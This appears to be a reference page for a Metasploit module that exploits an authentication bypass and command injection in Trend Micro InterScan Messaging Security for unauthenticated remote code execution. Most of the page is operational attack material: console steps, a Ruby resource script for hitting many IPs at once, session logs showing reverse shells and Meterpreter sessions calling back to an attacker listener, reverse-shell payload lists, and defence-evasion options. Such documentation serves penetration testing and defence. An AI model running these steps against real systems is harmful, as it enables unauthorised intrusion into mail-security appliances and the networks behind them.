Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/trendmicro_imsva_widget_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution
Module: exploit/linux/http/trendmicro_imsva_widget_exec
Source code: modules/exploits/linux/http/trendmicro_imsva_widget_exec.rb
Disclosure date: 2017-10-07
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): python
Supported platform(s): Python
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8445, 8880, 8888
List of CVEs: -
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user. The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using trendmicro_imsva_widget_exec against a single host
Normally, you can use exploit/linux/http/trendmicro_imsva_widget_exec this way:
msf > use exploit/linux/http/trendmicro_imsva_widget_exec
msf exploit(trendmicro_imsva_widget_exec) > show targets
... a list of targets ...
msf exploit(trendmicro_imsva_widget_exec) > set TARGET target-id
msf exploit(trendmicro_imsva_widget_exec) > show options
... show and set options ...
msf exploit(trendmicro_imsva_widget_exec) > exploit
Using trendmicro_imsva_widget_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your trendmicro_imsva_widget_exec will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/trendmicro_imsva_widget_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user.
The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user.
Vulnerable Application Installation Steps
IMSVA is distrubed as an ISO image by Trend Micro.
Following steps are valid on the CentOS 6 x64 bit operating system.
- Open following URL http://downloadcenter.trendmicro.com/
- Find "InterScan Messaging Security (Virtual Appliance)" and click.
- At the time of writing this documentation, you must see "IMSVA-9.1-1600-x86-64-r2.iso" next to Download button.
- Click to the download button and complete installation of ISO.
If you don't see a affected version of IMSVA, you can try to download IMSVA-9.1-1600 directly from following URL.
http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso
System requirements: - Virtualbox or VMware can be used. - 4 GB of memory at least. - 120 GB of disk size at least.
Verification Steps
A successful check of the exploit will look like this:
- [ ] Start
msfconsole
- [ ]
use exploit/linux/http/trendmicro_imsva_widget_exec
- [ ] Set
RHOST
- [ ] Set
LHOST
- [ ] Run
check
- [ ] Verify that you are seeing
The target appears to be vulnerable.
- [ ] Run
exploit
- [ ] Verify that you are seeing
Awesome. JSESSIONID value
in console. - [ ] Verify that you are getting
Session with widget framework successfully initiated
session.
Scenarios
msf > use exploit/linux/http/trendmicro_imsva_widget_exec
msf exploit(trendmicro_imsva_widget_exec) > set RHOST 12.0.0.201
RHOST => 12.0.0.184
msf exploit(trendmicro_imsva_widget_exec) > check
[*] 12.0.0.184:443 The target appears to be vulnerable.
msf exploit(trendmicro_imsva_widget_exec) > exploit
[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Extracting JSESSIONID from publicly accessible log file
[+] Awesome. JSESSIONID value = 0567E974AE729E58178C9B513FEBE41E
[*] Initiating session with widget framework
[+] Session with widget framework successfully initiated.
[*] Trigerring command injection vulnerability
[*] Command shell session 1 opened (12.0.0.1:4444 -> 12.0.0.201:44103) at 2017-10-08 18:05:11 +0300
pwd
/opt/trend/imss/UI/adminUI/ROOT/widget
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Msfconsole Usage
Here is how the linux/http/trendmicro_imsva_widget_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/trendmicro_imsva_widget_exec
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/trendmicro_imsva_widget_exec) > show info
Name: Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution
Module: exploit/linux/http/trendmicro_imsva_widget_exec
Platform: Python
Arch: python
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-10-07
Provided by:
mr_me <[email protected]>
Mehmet Ince <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8445 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the Trend Micro IMSVA management interface
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits the authentication bypass and command injection
vulnerability together. Unauthenticated users can execute a terminal
command under the context of the web server user. The specific flaw
exists within the management interface, which listens on TCP port
443 by default. Trend Micro IMSVA product have widget feature which
is implemented with PHP. Insecurely configured web server exposes
diagnostic.log file, which leads to an extraction of JSESSIONID
value from administrator session. Proxy.php files under the mod
TMCSS folder takes multiple parameter but the process does not
properly validate a user-supplied string before using it to execute
a system call. Due to combination of these vulnerabilities,
unauthenticated users can execute a terminal command under the
context of the web server user.
References:
https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/
http://www.zerodayinitiative.com/advisories/ZDI-17-521/
Module Options
This is a complete list of options available in the linux/http/trendmicro_imsva_widget_exec exploit:
msf6 exploit(linux/http/trendmicro_imsva_widget_exec) > show options
Module options (exploit/linux/http/trendmicro_imsva_widget_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8445 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the Trend Micro IMSVA management interface
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/trendmicro_imsva_widget_exec exploit:
msf6 exploit(linux/http/trendmicro_imsva_widget_exec) > show advanced
Module advanced options (exploit/linux/http/trendmicro_imsva_widget_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/trendmicro_imsva_widget_exec module can exploit:
msf6 exploit(linux/http/trendmicro_imsva_widget_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/trendmicro_imsva_widget_exec exploit:
msf6 exploit(linux/http/trendmicro_imsva_widget_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
2 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
3 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
4 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
5 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
6 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
7 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
8 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
9 payload/python/meterpreter_reverse_http normal No Python Meterpreter Shell, Reverse HTTP Inline
10 payload/python/meterpreter_reverse_https normal No Python Meterpreter Shell, Reverse HTTPS Inline
11 payload/python/meterpreter_reverse_tcp normal No Python Meterpreter Shell, Reverse TCP Inline
12 payload/python/pingback_reverse_tcp normal No Python Pingback, Reverse TCP (via python)
13 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
14 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
15 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/trendmicro_imsva_widget_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/trendmicro_imsva_widget_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target is not vulnerable.
Here is a relevant code snippet related to the "Target is not vulnerable." error message:
100:
101: def exploit
102: print_status('Extracting JSESSIONID from publicly accessible log file')
103: jsessionid = extract_jsessionid
104: if jsessionid.nil?
105: fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
106: else
107: print_good("Awesome. JSESSIONID value = #{jsessionid}")
108: end
109:
110: print_status('Initiating session with widget framework')
Latest JSESSIONID is expired. Wait for sysadmin to login IMSVA
Here is a relevant code snippet related to the "Latest JSESSIONID is expired. Wait for sysadmin to login IMSVA" error message:
108: end
109:
110: print_status('Initiating session with widget framework')
111: cookies = widget_auth(jsessionid)
112: if cookies.nil?
113: fail_with(Failure::NoAccess, "Latest JSESSIONID is expired. Wait for sysadmin to login IMSVA")
114: else
115: print_good('Session with widget framework successfully initiated.')
116: end
117:
118: print_status('Trigerring command injection vulnerability')
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12205 Merged Pull Request: Update module and generate splats from http:// to https://
- #9053 Merged Pull Request: Adding Trend Micro IMSVA Widget RCE module
References
- CVE: Not available
- https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/
- http://www.zerodayinitiative.com/advisories/ZDI-17-521/
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/trendmicro_dlp_traversal
- exploit/linux/http/trendmicro_sps_exec
- exploit/linux/http/trendmicro_websecurity_exec
- exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi
- exploit/windows/antivirus/trendmicro_serverprotect
- exploit/windows/antivirus/trendmicro_serverprotect_createbinding
- exploit/windows/antivirus/trendmicro_serverprotect_earthagent
- exploit/windows/browser/trendmicro_extsetowner
- exploit/windows/browser/trendmicro_officescan
- exploit/windows/http/trendmicro_officescan
- exploit/windows/http/trendmicro_officescan_widget_exec
- exploit/windows/misc/trendmicro_cmdprocessor_addtask
- exploit/linux/http/microfocus_obr_cmd_injection
- exploit/linux/http/microfocus_secure_messaging_gateway
- exploit/linux/ssh/microfocus_obr_shrboadmin
- exploit/multi/http/microfocus_obm_auth_rce
- exploit/multi/http/microfocus_ucmdb_unauth_deser
- exploit/windows/fileformat/microp_mppl
- exploit/windows/fileformat/microsoft_windows_contact
- exploit/windows/local/microfocus_operations_privesc
- exploit/linux/http/trend_micro_imsva_exec
- exploit/multi/http/confluence_widget_connector
- exploit/multi/http/totaljs_cms_widget_exec
- exploit/multi/http/vbulletin_widgetconfig_rce
- exploit/multi/http/vbulletin_widget_template_rce
Authors
- mr_me <[email protected]>
- Mehmet Ince <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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